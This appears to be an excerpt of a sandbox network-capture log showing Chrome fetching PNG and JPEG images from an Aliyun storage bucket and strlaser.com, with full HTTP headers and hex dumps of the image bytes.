2024-09-27 03:50:59 UTC	1575	IN	Data Raw: df 1f 5e 71 f9 e5 5d 6b fa 8b e7 68 84 e9 e9 99 c7 1f 7f 7c cf 9e 87 f7 3e bd 6f 69 69 69 c7 8e f3 f3 a5 a2 f0 f1 91 73 39 16 43 8e c6 03 94 f3 46 bd b1 b4 b4 b8 6b e7 85 ba a6 d5 6a f5 81 c1 c1 89 c9 33 1c 79 b9 bf bf ed ba 18 1e 1f 19 29 2b 51 0f a1 a2 48 d4 1f 61 eb ae 82 e4 59 a8 c6 57 6f 30 ef 90 5a 32 a6 24 cf 7f ef c8 ad 67 37 83 e8 eb d4 2c d1 aa 4c 12 5c e8 9e 3f 48 4e 49 36 76 2f 6a ef b0 c3 d9 1c f9 1e 2b be ba 24 ec 68 a1 c8 c5 8a 7f b7 29 ec 4e 31 f3 cd c3 f0 38 e7 01 0b 08 21 ba ae eb ba 21 76 65 25 0c 61 88 a6 fb 38 e3 ff f5 fd ef 17 bf 04 b4 1a ff 1f 72 34 c2 b1 63 c7 1f 7d f4 f1 6f 7d eb db 86 63 16 cb 45 df 0b 20 72 21 63 76 02 8a 99 9c 80 11 00 4d d7 2b d5 15 16 70 d3 30 7c 16 e4 f3 05 cb 32 83 20 90 46 fb 2a 57 49 8a c6 d5 b3 9e 1d e8 Data Ascii: ^q]kh\|>oiiis9CFkj3y)+QHaYWo0Z2$g7,L\?HNI6v/j+$h)N18!!ve%a8r4c}o}cE r!cvM+p0\|2 F*WI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49825	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	659	OUT	GET /sichuang/images/2023/05/31/image_1685503659_nVuRhA09.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:59 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:59 GMT Content-Type: image/png Content-Length: 20675 Connection: close x-oss-request-id: 66F62BA38915C63430403CE0 Accept-Ranges: bytes ETag: "A85EA5D3A7C1557CA3B7B0C133A30A13" Last-Modified: Mon, 29 Jan 2024 03:33:31 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12890311085316816892 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: qF6l06fBVXyjt7DBM6MKEw== x-oss-server-time: 2
2024-09-27 03:50:59 UTC	15839	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e1 00 00 00 e1 08 02 00 00 00 b1 d1 45 2d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 76 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRE-tEXtSoftwareAdobe ImageReadyqe<viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:50:59 UTC	4836	IN	Data Raw: 94 13 c9 18 00 34 1a ed 04 44 e2 4e ad 40 10 bc 6b 52 c7 ac c0 09 c6 84 13 c6 8f ea 93 72 e1 d4 82 91 ed ed 5b 46 96 c6 73 ba ce 25 13 71 b0 a7 60 a6 a7 e3 f9 07 7f ed e1 4c 36 ed f3 07 81 8f ea b8 02 af da 5c 54 d7 34 f4 f0 1e e1 b0 ff 0b 7f f3 f9 c7 1f ff ee df 7d e9 5b fe 40 48 2d d5 b3 07 88 57 9e ff c4 ef 7d cc ac 72 cf ec 7f 82 b4 a5 08 a4 92 bf 96 cb 67 ef ba fb 43 fd 7d 2b 1c 4e 57 32 39 67 92 ed cb 92 4d 24 f3 78 6d 15 9c da 17 83 43 95 ed 0e 8f c7 8b 49 51 55 cd 17 72 26 d9 e1 8b 13 55 6d 52 38 ec 83 db af bd f6 86 3f 10 00 ce 10 0c 04 cf 9c 9e 3e 0f 5d a6 0b 76 f7 0d 76 63 16 8b 45 52 8b 54 b3 2b 8e 95 ab d6 e2 02 06 03 f7 85 f6 6a cb d2 e9 34 ae e6 30 74 d0 31 09 12 cb 04 7d 06 aa 14 60 da 1a 6d 23 03 1c 71 2a 84 41 e6 87 c3 d3 00 97 a0 8f 69 Data Ascii: 4DN@kRr[Fs%q`L6\T4}[@H-W}rgC}+NW29gM$xmCIQUr&UmR8?>]vvcERT+j40t1}`m#q*Ai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49826	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	659	OUT	GET /sichuang/images/2023/04/06/image_1680777712_HMehvAY7.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:59 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:59 GMT Content-Type: image/png Content-Length: 25189 Connection: close x-oss-request-id: 66F62BA3B4F3D43338894CBF Accept-Ranges: bytes ETag: "A42023109686EE5B2324716B950D4E08" Last-Modified: Mon, 29 Jan 2024 03:33:47 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8817712892159841814 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: pCAjEJaG7lsjJHFrlQ1OCA== x-oss-server-time: 2
2024-09-27 03:50:59 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e1 00 00 00 e1 08 02 00 00 00 b1 d1 45 2d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRE-tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:50:59 UTC	9349	IN	Data Raw: ec 1d 97 e6 0a 0c f9 d5 a7 16 3d c6 a7 25 e7 4d 38 50 d5 73 91 30 b9 02 85 af 3d 0d 82 25 ee 59 db 11 e3 17 26 43 3e 3d 7e f4 1f fe cb 9f fd ab ff f6 77 c0 10 b1 47 67 99 6e df fe e6 4d d9 6c 56 ff fe cf d4 ad d9 42 e9 e2 a2 e9 36 0d e6 d7 91 b2 0c 69 c4 3c 9a 7e ad 3a d8 6b aa 59 51 de e8 32 59 6c 2e c4 c5 b1 58 80 61 70 20 7c 2e 8a 3d 29 f6 33 77 9e f9 aa 6d 4f a4 44 77 89 b8 78 2a b1 ee 74 8d 99 5c d7 d4 59 8d 15 d1 0e 6e 8b 75 2b 9a 00 de 78 59 56 0d 16 77 76 55 61 74 51 86 ef fc 8e 55 b9 ff e3 ff 43 3d ba 97 7f f3 f5 93 87 67 9f da f5 71 be f7 0f 7f fb fd 27 e7 ab 4e 99 73 e7 97 d2 5b cc a1 23 29 be 67 7a 20 a1 52 42 f1 b0 cd 22 f8 59 e1 c2 11 1c af 6a 90 bf ca 0f 4e 8d ba 9d a2 f4 9a f6 33 8d 78 d4 59 94 72 43 68 6c 6b 16 3d b3 83 1b 8a c4 fa 90 be Data Ascii: =%M8Ps0=%Y&C>=~wGgnMlVB6i<~:kYQ2Yl.Xap \|.=)3wmODwx*t\Ynu+xYVwvUatQUC=gq'Ns[#)gz RB"YjN3xYrChlk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49828	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	659	OUT	GET /images/2024/05/10/sichuang/image_1715308754_jDvIvelv.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:59 UTC	542	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:59 GMT Content-Type: image/png Content-Length: 92549 Connection: close x-oss-request-id: 66F62BA3A3A9C630361DA214 Accept-Ranges: bytes ETag: "1AD7057BF24DD2004D8B3D6600000000" Last-Modified: Fri, 10 May 2024 02:49:49 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 59195448950642458 x-oss-next-append-position: 92549 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 3
2024-09-27 03:50:59 UTC	15842	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 01 2c 08 06 00 00 00 9c d5 36 e8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 05 eb 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR,6pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 32 a1 07 2e 1b ae b2 8c 65 9c a7 5d da 9f 78 5d 7e 2f 39 17 13 8f 93 e4 5b fe 1f b8 2c bb 19 b3 3d b1 4f 1a 50 94 4b 31 02 12 c7 b1 a8 36 33 2d 97 42 41 41 41 e1 26 31 4e 2a f3 1c a3 2e 77 57 c2 98 d0 e9 63 00 8f 35 4d 7b 8e 11 81 df c7 35 74 f7 9b 45 de 17 91 50 70 31 a7 c7 95 0b 0a 27 6b 7a 8e 18 3e b7 6d 7b 22 11 1e 07 79 71 64 bd e7 79 10 c7 b1 08 b7 5f 5c 5c c0 f3 3c 94 cb 65 18 86 81 42 a1 20 9a 33 d1 8b ca f1 ca 98 44 fa 26 60 3b 8a a2 35 12 11 00 82 b4 93 64 52 f7 ab 69 1a 2e 2e 2e 44 55 19 d7 75 6b b3 8e e5 a6 40 59 c9 2c 90 a4 72 e1 95 e5 0f 8c 5a c8 fa dc 44 a7 bd 11 45 d1 cf d3 5a 5b 59 8f 0e bc 91 63 51 0b 2b 1b 7f f2 77 e8 b5 93 3d ad f4 f0 d3 f0 22 a9 60 bd e9 49 24 61 c2 fd 7f c4 5e 03 b6 6d c3 75 5d 51 a6 91 25 4e fb fd be 20 ed f5 7a 1d Data Ascii: 2.e]x]~/9[,=OPK163-BAAA&1N*.wWc5M{5tEPp1'kz>m{"yqdy_\\<eB 3D&`;5dRi...DUuk@Y,rZDEZ[YcQ+w="`I$a^mu]Q%N z
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 9a b8 df e9 74 be b6 6d 5b 94 a2 04 20 64 9a 9e e7 89 5c 8f 28 8a 44 ee 55 b5 5a 15 06 3e cf e5 70 38 14 f7 26 6e a6 a4 e6 58 7c 48 a5 27 15 14 14 6e 1f 8b 94 5f 39 00 70 60 18 46 05 c0 96 a6 69 5b 9a a6 6d 21 d1 58 02 6f 2a 18 c8 c9 49 fc 9b c4 2b 59 b0 bf 75 5d f7 60 30 18 1c 58 96 55 bb 96 03 59 b0 92 8c 84 5a 26 93 f9 09 4b 20 b2 89 91 eb ba a2 9e 39 13 aa d8 20 06 00 6c db 5e 68 dc 57 f0 b8 d7 86 c3 e1 4f 98 34 0b 40 54 23 c9 e5 72 d4 95 03 18 91 c1 6e b7 8b 52 a9 84 79 24 46 67 67 67 b3 3e b2 a3 69 da 13 7a 7b c3 30 44 a1 50 80 eb ba 42 4a 40 52 4f 43 2c 9b cd 8a 45 3d 8e e3 75 5c c3 c2 c6 73 2d 6b af df 01 b5 30 0c 7f 02 5c 96 0c f0 de a4 f6 9c 46 1c 49 a2 ef fb b5 79 36 3e a7 51 71 48 a3 b7 d3 e9 88 0e aa 4c 0a e5 f9 cb e7 f3 68 b7 db a2 fc e8 3c Data Ascii: tm[ d\(DUZ>p8&nX\|H'n_9p`Fi[m!Xo*I+Yu]`0XUYZ&K 9 l^hWO4@T#rnRy$Fggg>iz{0DPBJ@ROC,E=u\s-k0\FIy6>QqHLh<
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 8f 61 67 75 75 f5 59 bd 5e 47 b7 db fd 32 9b cd 6e b7 db ed dd 49 cf 27 26 c8 51 32 ae eb 6e d0 61 87 de e4 3c d7 8d 46 43 24 29 ac 9a 79 c1 ee d6 6d 1f 7e 8a 3e 81 8c f7 df 2b c7 4b d9 52 3a 9d 16 09 de 38 9a cd a6 38 5d 1d 1c 1c 88 64 a5 d7 eb 89 d3 10 13 1e 26 66 f9 7c 1e df 7e fb 2d 72 b9 9c 7c 17 bc be d2 e9 34 2c cb c2 c5 c5 85 d8 5f 92 6d cd 64 32 4f a9 13 e7 74 d5 b3 b3 b3 2b b2 3d 56 36 1b 8d 06 3a 9d 0e e2 f1 38 4e 4f 4f 51 ad 56 31 37 37 87 6c 36 2b fd 17 94 e6 d0 43 9e 5a e7 f1 c0 94 20 d9 31 8e b3 b3 33 24 12 89 49 df a9 69 59 d6 56 3e 9f ff 23 93 96 54 2a 25 f7 a4 47 bc 1c 54 ab d5 0d 28 6b 9d 1a 30 b3 82 a1 3a 39 91 19 26 31 b3 bc bc 0c cb b2 64 cf 51 aa 84 66 24 12 d9 71 5d 77 a3 df ef a7 d5 41 69 74 d2 02 ae ba 04 e1 d2 17 fd e9 f8 b5 00 Data Ascii: aguuY^G2nI'&Q2na<FC$)ym~>+KR:88]d&f\|~-r\|4,_md2Ot+=V6:8NOOQV177l6+CZ 13$IiYV>#T*%GT(k0:9&1dQf$q]wAit
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 6a c3 eb 1d b5 f2 eb 94 c3 70 fd a4 9d 2e 1d 5b 28 d9 a4 3d 63 24 12 49 c7 e3 f1 2d cb b2 36 81 bb 57 43 26 e1 f4 f4 14 ef bc f3 8e c8 de 3a 9d 0e 8a c5 22 72 b9 9c 54 86 6b b5 1a 66 66 66 90 48 24 50 af d7 a5 d1 f5 36 f2 ca 87 0f 1f 6f 07 37 ba ca a8 0b 15 83 4b da 10 b2 59 8f 3a 6a 5d d7 af 04 bb 5c b4 54 c7 13 0e 69 60 f0 4e 5d 26 47 a1 73 e1 d5 f5 cb 91 ce d1 68 14 e5 72 59 18 69 be 56 22 91 10 c9 04 b5 83 5c b0 d9 64 96 4c 26 11 8d 46 af 0c 6d 52 07 15 0d 06 83 2b c7 3b ae db bc c5 82 af 08 60 4b fd 81 61 18 ab 5e 45 a0 48 56 7b 42 d0 b6 e5 38 ce 93 40 20 20 8c 2c 2d 1a b9 69 8c 46 23 fa 92 cb eb 73 2c b5 61 18 9b a1 50 68 d3 75 dd 3d c7 71 9e 8e bf b8 77 bc 4f a8 df 06 5e 6c b6 ea e0 24 6f 03 35 f9 bc 71 b9 14 1b 6f c9 20 93 c1 64 43 aa eb ba 77 62 Data Ascii: jp.[(=c$I-6WC&:"rTkfffH$P6o7KY:j]\Ti`N]&GshrYiV"\dL&FmR+;`Ka^EHV{B8@ ,-iF#s,aPhu=qwO^l$o5qo dCwb
2024-09-27 03:50:59 UTC	11171	IN	Data Raw: 30 18 44 3c 1e 87 eb ba 32 8d 57 9d d5 10 0e 87 a5 41 1c 80 38 ca dc 84 9b 9a f8 7d f8 f0 e1 e3 6d c0 67 dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 5f 02 8e e3 c0 30 0c 14 0a 85 b7 7d 28 3f 69 c4 e3 71 cc cd cd 61 61 61 e1 6d 1f 8a 0f 1f 3e 7c f8 f0 e1 c3 c7 cf 1e 7e e0 7e 07 04 02 01 04 02 81 2b 3f f3 83 f7 c9 e0 58 71 22 9f cf 23 9f cf bf a5 a3 f1 e1 c3 87 0f 1f 3e 7c Data Ascii: 0D<2WA8}mg}>\|}>\|}>\|}>\|}>\|}>\|}>\|}>\|}>\|_0}(?iqaaam>\|~~+?Xq"#>\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49834	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	611	OUT	GET /resources/assets/images/news2023.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:08 GMT Content-Type: image/jpeg Content-Length: 108301 Last-Modified: Fri, 01 Sep 2023 01:43:33 GMT Connection: close ETag: "64f141c5-1a70d" Expires: Sun, 27 Oct 2024 03:51:08 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:00 UTC	16035	IN	Data Raw: ff d8 ff e1 1e be 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 0c 00 00 01 03 00 01 00 00 00 2c 01 00 00 01 01 03 00 01 00 00 00 2c 01 00 00 02 01 03 00 03 00 00 00 9e 00 00 00 06 01 03 00 01 00 00 00 02 00 00 00 12 01 03 00 01 00 00 00 01 00 00 00 15 01 03 00 01 00 00 00 03 00 00 00 1a 01 05 00 01 00 00 00 a4 00 00 00 1b 01 05 00 01 00 00 00 ac 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 31 01 02 00 21 00 00 00 b4 00 00 00 32 01 02 00 14 00 00 00 d5 00 00 00 69 87 04 00 01 00 00 00 ec 00 00 00 24 01 00 00 08 00 08 00 08 00 80 fc 0a 00 10 27 00 00 80 fc 0a 00 10 27 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 34 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 32 33 3a 30 38 3a 33 31 20 31 34 3a 32 39 3a 31 37 00 00 00 00 04 00 00 90 07 00 04 Data Ascii: ExifII*,,(1!2i$''Adobe Photoshop 23.4 (Macintosh)2023:08:31 14:29:17
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 28 f8 7d 03 aa e3 b2 cb fa 2e 70 c7 93 b9 d8 a4 0b 2a 70 23 73 2c 03 e8 3e 9b 1b fe 17 67 a8 b9 2f ac 3d 6b 2e ac c6 51 86 f0 69 b1 82 c6 b8 b4 c3 ab 76 b5 5a dd 7f eb 76 d5 ff 00 69 f2 6a be a5 d2 7d 4b fa c5 45 38 0e 7e 74 0f 48 45 e5 a5 db 59 04 ed bd f5 7b ac c5 f5 b7 37 f4 f5 7a 98 77 d9 fc ef d9 32 3f 9e 6f 01 8c 78 85 c6 32 f9 b8 bd 7f e3 7c eb a7 3e 2f 4f cf 28 ed a3 b4 3e da f6 8c 7e b3 85 40 73 db 3b 9b ab 1c 38 3d ac af ff 00 3d a8 59 d3 b1 3a 7d 8c 14 e5 e4 f4 f7 3c 6e ac 57 73 dd 54 7f c4 de eb b0 f6 ff 00 d6 d0 33 be b3 5f 95 94 e7 74 67 8c dc 72 c0 2d c0 78 1e a9 8d db ed c7 aa c6 3b ed 15 6d fa 6d 67 da 3f e2 ab 5c 2f 5b cb c4 ea fd 41 d9 18 b8 ff 00 63 c7 6d 62 b3 4e e3 b4 db 27 d7 b2 ba b7 39 94 b1 df 47 63 13 63 02 49 18 e5 20 3f 0a ff Data Ascii: (}.p*p#s,>g/=k.QivZvij}KE8~tHEY{7zw2?ox2\|>/O(>~@s;8==Y:}<nWsT3_tgr-x;mmg?\/[AcmbN'9GccI ?
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: bf 16 3c fd 7d 98 5b ee fb b5 95 05 a5 fc d1 ff 00 a5 63 4f d9 c3 a4 b2 ed f6 57 20 89 ad 51 81 fe 88 e8 aa ef 6f 80 df 12 37 cb 4b 34 dd 6a fb 4e b6 52 4f df ec 7c d6 4b 6f 3a 33 12 ba 96 88 c9 59 86 1e a3 f4 fb 62 2f c7 f8 7b 12 da 7b 85 cc f6 c0 23 dc 24 c3 d1 d4 1f e6 28 7f 9f 45 13 f2 ae d1 28 1a 61 68 cf f4 58 8f e4 6a 3a 2e 5b 87 f9 4d f5 a4 a8 cd b1 7b 7b 75 6d f6 3e a8 69 b7 3e db c3 ee 84 66 04 00 af 5d 8b ab da b3 88 c3 2d b9 89 ff 00 d8 fb 12 db 7b b1 72 17 45 ee ce 8c 3c ca 31 1f c9 81 ff 00 0f 45 32 f2 4d b9 a9 86 fd 87 c9 80 3f e0 23 fc 1d 17 2d dd fc b0 7b f7 02 25 97 6b 65 f6 26 fd a5 04 b4 49 41 95 9b 07 93 91 46 ad 25 e8 33 94 94 d4 68 e5 7f 0b 56 fc fe 4f b1 15 a7 b9 db 15 c5 12 e2 29 61 6f 98 d4 3f 68 ff 00 37 45 33 f2 7e e3 1f f6 32 Data Ascii: <}[cOW Qo7K4jNRO\|Ko:3Yb/{{#$(E(ahXj:.[M{{um>i>f]-{rE<1E2M?#-{%ke&IAF%3hVO)ao?h7E3~2
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 93 f5 18 ed e9 fc c4 7b 6b 31 bc 29 e0 ab a7 ac c5 7c 7b eb bc b4 5b 6b aa 71 02 19 85 5c 43 79 49 b6 e9 e8 46 f1 ac f3 39 0d 16 b9 10 2a 2a 9a 99 e3 3a 03 89 b8 d9 78 bf 41 ed d6 c9 a4 1c 35 e4 c3 5c a7 d4 a6 ba e8 1f 3f cc 01 d3 77 26 da cc 2d ce f9 77 e2 5c 01 db 10 3d a3 ed a5 3f 97 e6 7a bc 9e b7 e9 fd 9b d6 f8 2c 5e df da bb 7f 13 82 c4 61 e9 a3 a4 c6 62 70 d8 ea 4c 5e 27 1b 4d 1a e9 5a 7a 1a 0a 28 61 a5 a6 85 7f 01 54 7b 18 72 df b6 e7 c6 1b 86 e4 ef 3d eb 1a b3 b9 d4 6b f3 27 3f 97 41 0d df 9a 2e 6f 81 85 08 8e d8 70 55 c7 42 a3 b5 2d 1a 5e 57 50 40 e1 78 fe 9c 0b 5e ff 00 5f 72 64 d2 6c dc bb 00 6b 89 14 c8 06 17 1e 5f 2f f3 f4 18 51 35 c3 51 14 d3 a6 af ef 0c 5e 6f 1e 94 d1 6b 69 d4 35 7d 6f fe b5 ed f8 ff 00 79 f6 17 ff 00 5c 71 f5 9a 7e 99 7e Data Ascii: {k1)\|{[kq\CyIF9**:xA5\?w&-w\=?z,^abpL^'MZz(aT{r=k'?A.opUB-^WP@x^_rdlk_/Q5Q^oki5}oy\q~~
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 0e 85 41 58 fd 34 70 eb 32 fc f2 ed 5a 18 8a c9 5e 03 0f 49 74 c4 d2 49 f4 e0 fa 59 fe 84 9f eb 70 3f 3f 9f 71 4e f3 f7 7a f6 d6 57 63 6f 38 15 e1 de 7f c9 d0 ff 00 6d f7 67 99 59 54 5e 5a b1 1c 6b 41 fe 6e 8b 3f c9 0f 95 bd 81 dc 5b 2e b7 66 ee 69 28 f3 d8 0a b9 05 48 a0 af da 18 8a d7 a7 aa 89 24 58 6a e8 6a d9 1a b2 82 b6 24 90 81 2c 2e 92 00 48 bd 89 04 b3 97 bd 92 e4 de 5c dd 62 dd 2c 6f 5a 3b b4 34 d4 b2 b2 d6 bc 43 0a d1 94 f9 82 29 d1 fd ef b9 3b 8d cd 9b c0 2d ab 14 82 85 4a 29 1e 79 e1 50 47 91 19 1d 52 5e e9 a6 aa c6 c9 53 4f f6 d9 5a 33 ad fc 55 6b 8a a9 a8 a3 9b 9b e8 ab 58 92 4a aa 63 71 fa d3 50 06 ff 00 a6 dc ce 7f d5 cd a6 54 59 20 bd 8b c5 a7 02 c3 a0 14 1c f9 b9 59 96 86 